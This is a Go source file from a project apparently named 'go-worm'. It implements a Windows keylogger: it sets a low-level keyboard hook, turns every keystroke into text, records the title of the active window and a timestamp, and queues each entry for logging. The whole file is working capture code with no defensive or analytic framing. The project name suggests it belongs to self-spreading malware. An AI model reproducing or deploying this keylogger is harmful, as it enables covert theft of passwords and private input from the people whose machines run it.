go-worm/lib/keylog/hook_windows.go

//go:build windows

package keylog

import (
	"fmt"
	"sync"
	"syscall"
	"time"
	"unsafe"

	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)

const (
	whKeyboardLL  = 13
	wmKeydown     = 0x0100
	wmKeyup       = 0x0101
	wmSyskeydown  = 0x0104
	wmSyskeyup    = 0x0105
	wmQuit        = 0x0012
	llkhfInjected = 0x10
)

var (
	user32                  = syscall.NewLazyDLL("user32.dll")
	procSetWindowsHookExW   = user32.NewProc("SetWindowsHookExW")
	procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
	procCallNextHookEx      = user32.NewProc("CallNextHookEx")
	procGetMessageW         = user32.NewProc("GetMessageW")
	procTranslateMessage    = user32.NewProc("TranslateMessage")
	procDispatchMessageW    = user32.NewProc("DispatchMessageW")
	procPostThreadMessageW  = user32.NewProc("PostThreadMessageW")
	procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
	procGetWindowTextW      = user32.NewProc("GetWindowTextW")
	procGetKeyboardState    = user32.NewProc("GetKeyboardState")
	procToUnicode           = user32.NewProc("ToUnicode")
)

type kbdLLHookStruct struct {
	VkCode      uint32
	ScanCode    uint32
	Flags       uint32
	Time        uint32
	DwExtraInfo uintptr
}

type msg struct {
	HWnd    uintptr
	Message uint32
	WParam  uintptr
	LParam  uintptr
	Time    uint32
	Pt      struct {
		X int32
		Y int32
	}
}

type modifierState struct {
	shiftL bool
	shiftR bool
	ctrl   bool
	alt    bool
}

func (m modifierState) shift() bool {
	return m.shiftL || m.shiftR
}

var (
	hookMu       sync.Mutex
	hookEvents   chan Event
	hookThreadID uint32
	hookMods     modifierState
	lastHWND     uintptr
	lastTitle    string
	// ponytail: NewCallback is never freed; reuse across Start/Stop.
	hookCB = syscall.NewCallback(keyboardHookProc)
)

func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
	hookEvents = events
	ready := make(chan struct{})

	go func() {
		defer close(done)
		defer helpers.RecoverLog("keylog-hook")
		_ = runHookThread(ready)
		hookEvents = nil
		hookThreadID = 0
	}()

	go func() {
		defer helpers.RecoverLog("keylog-stop")
		select {
		case <-ready:
		case <-stop:
			return
		}
		<-stop
		threadID := hookThreadID
		if threadID != 0 {
			_, _, _ = procPostThreadMessageW.Call(uintptr(threadID), wmQuit, 0, 0)
		}
	}()
	return nil
}

func stopPlatform() {}

func initKeylog() error {
	dir, err := config.KeylogDir()
	if err != nil {
		return err
	}
	return PruneOldLogs(dir, config.KeylogRetentionDays())
}

func runHookThread(ready chan struct{}) error {
	hookThreadID = windowsGetCurrentThreadId()
	close(ready)

	handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookCB, 0, 0)
	if handle == 0 {
		return err
	}
	defer procUnhookWindowsHookEx.Call(handle)

	var message msg
	for {
		ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), 0, 0, 0)
		switch int32(ret) {
		case -1:
			return fmt.Errorf("GetMessage failed")
		case 0:
			return nil
		}
		if message.Message == wmQuit {
			return nil
		}
		_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&message)))
		_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message)))
	}
}

func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
	if code >= 0 {
		handleHookEvent(wParam, lParam)
	}
	ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam)
	return ret
}

func handleHookEvent(wParam, lParam uintptr) {
	defer helpers.RecoverLog("keylog-callback")
	kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
	switch wParam {
	case wmKeydown, wmSyskeydown:
		if isModifierVK(kb.VkCode) {
			hookMods.update(kb.VkCode, true)
		} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
			enqueueKey(event)
		}
	case wmKeyup, wmSyskeyup:
		if isModifierVK(kb.VkCode) {
			hookMods.update(kb.VkCode, false)
		}
	}
}

func enqueueKey(event Event) {
	ch := hookEvents
	if ch == nil {
		return
	}
	select {
	case ch <- event:
	default:
		// ponytail: drop when full; upgrade path is larger buffer
	}
}

func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) {
	injected := kb.Flags&llkhfInjected != 0
	if injected && kb.VkCode == 0 && kb.ScanCode >= 32 && kb.ScanCode != 127 {
		return Event{
			Time:     time.Now(),
			Injected: true,
			Window:   foregroundTitle(),
			Text:     string(rune(kb.ScanCode)),
		}, true
	}

	text, ok := appendText(kb.VkCode, kb.ScanCode, sysKey)
	if !ok {
		return Event{}, false
	}
	return Event{
		Time:     time.Now(),
		Injected: injected,
		Window:   foregroundTitle(),
		Text:     text,
	}, true
}

func isModifierVK(vk uint32) bool {
	switch vk {
	case 0x10, 0x11, 0x12, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5:
		return true
	default:
		return false
	}
}

func (m *modifierState) update(vk uint32, down bool) {
	switch vk {
	case 0xA0:
		m.shiftL = down
	case 0xA1:
		m.shiftR = down
	case 0x10:
		m.shiftL = down
		m.shiftR = down
	case 0xA2, 0xA3, 0x11:
		m.ctrl = down
	case 0xA4, 0xA5, 0x12:
		m.alt = down
	}
}

func appendText(vk, scanCode uint32, sysKey bool) (string, bool) {
	if hookMods.ctrl || hookMods.alt {
		return "", false
	}
	if text, ok := specialText(vk); ok {
		return text, true
	}
	if char, ok := keyChar(vk, scanCode); ok {
		return char, true
	}
	if sysKey && vk == 0x20 {
		return " ", true
	}
	return "", false
}

func specialText(vk uint32) (string, bool) {
	switch vk {
	case 0x0D:
		return "\n", true
	case 0x09:
		return "\t", true
	case 0x20:
		return " ", true
	default:
		return "", false
	}
}

func keyChar(vk, scanCode uint32) (string, bool) {
	var state [256]byte
	ok, _, _ := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&state[0])))
	if ok == 0 {
		return "", false
	}
	applyHookMods(&state)
	if vk < uint32(len(state)) {
		state[vk] |= 0x80
	}

	var buf [8]uint16
	n, _, _ := procToUnicode.Call(
		uintptr(vk),
		uintptr(scanCode),
		uintptr(unsafe.Pointer(&state[0])),
		uintptr(unsafe.Pointer(&buf[0])),
		uintptr(len(buf)),
		0,
	)
	if n != 1 {
		return "", false
	}
	r := rune(buf[0])
	if r < 32 || r == 127 {
		return "", false
	}
	return string(r), true
}

func applyHookMods(state *[256]byte) {
	setDown := func(vk byte, down bool) {
		if down {
			state[vk] |= 0x80
		} else {
			state[vk] &^= 0x80
		}
	}
	shift := hookMods.shift()
	setDown(0x10, shift)
	setDown(0xA0, hookMods.shiftL)
	setDown(0xA1, hookMods.shiftR)
}

func foregroundTitle() string {
	hwnd, _, _ := procGetForegroundWindow.Call()
	if hwnd == 0 {
		lastHWND = 0
		lastTitle = "?"
		return lastTitle
	}
	if hwnd == lastHWND && lastTitle != "" {
		return lastTitle
	}
	lastHWND = hwnd
	var buf [512]uint16
	n, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
	if n == 0 {
		lastTitle = "?"
		return lastTitle
	}
	lastTitle = syscall.UTF16ToString(buf[:n])
	return lastTitle
}

func windowsGetCurrentThreadId() uint32 {
	kernel32 := syscall.NewLazyDLL("kernel32.dll")
	getCurrentThreadId := kernel32.NewProc("GetCurrentThreadId")
	id, _, _ := getCurrentThreadId.Call()
	return uint32(id)
}